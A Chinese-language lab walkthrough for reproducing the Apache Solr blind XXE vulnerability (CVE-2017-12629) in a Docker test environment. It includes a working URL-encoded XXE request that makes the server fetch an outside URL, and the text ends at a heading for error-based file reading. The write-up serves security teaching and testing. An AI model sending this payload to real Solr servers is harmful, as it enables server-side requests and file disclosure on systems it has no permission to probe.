Apache solr XML 實體注入漏洞（CVE-2017-12629）

Path solr/CVE-2017-12629-XXE

漏洞原理與分析可以參考：

• https://www.exploit-db.com/exploits/43009/
• https://paper.seebug.org/425/

Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發，主要基于 HTTP 和 Apache Lucene 實現。原理大致是文檔通過Http利用XML加到一個搜索集合中。查詢該集合也是通過 http收到一個XML/JSON響應來實現。此次7.1.0之前版本總共爆出兩個漏洞：XML實體擴展漏洞（XXE）和遠程命令執行漏洞（RCE），二者可以連接成利用鏈，編號均為CVE-2017-12629。

本環境僅測試XXE漏洞，RCE和利用鏈，可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。

環境搭建

運行漏洞環境：

docker-compose up -d

命令執行成功后，需要等待一會，之后訪問http://your-ip:8983/即可查看到Apache solr的管理頁面，無需登錄。

漏洞復現

由于返回包中不包含我們傳入的XML中的信息，所以這是一個Blind XXE漏洞，我們發送如下數據包（自行修改其中的XXE Payload）：

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: your-ip:8983
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可接受到Java發來的請求：

利用Error Based XXE讀取文件：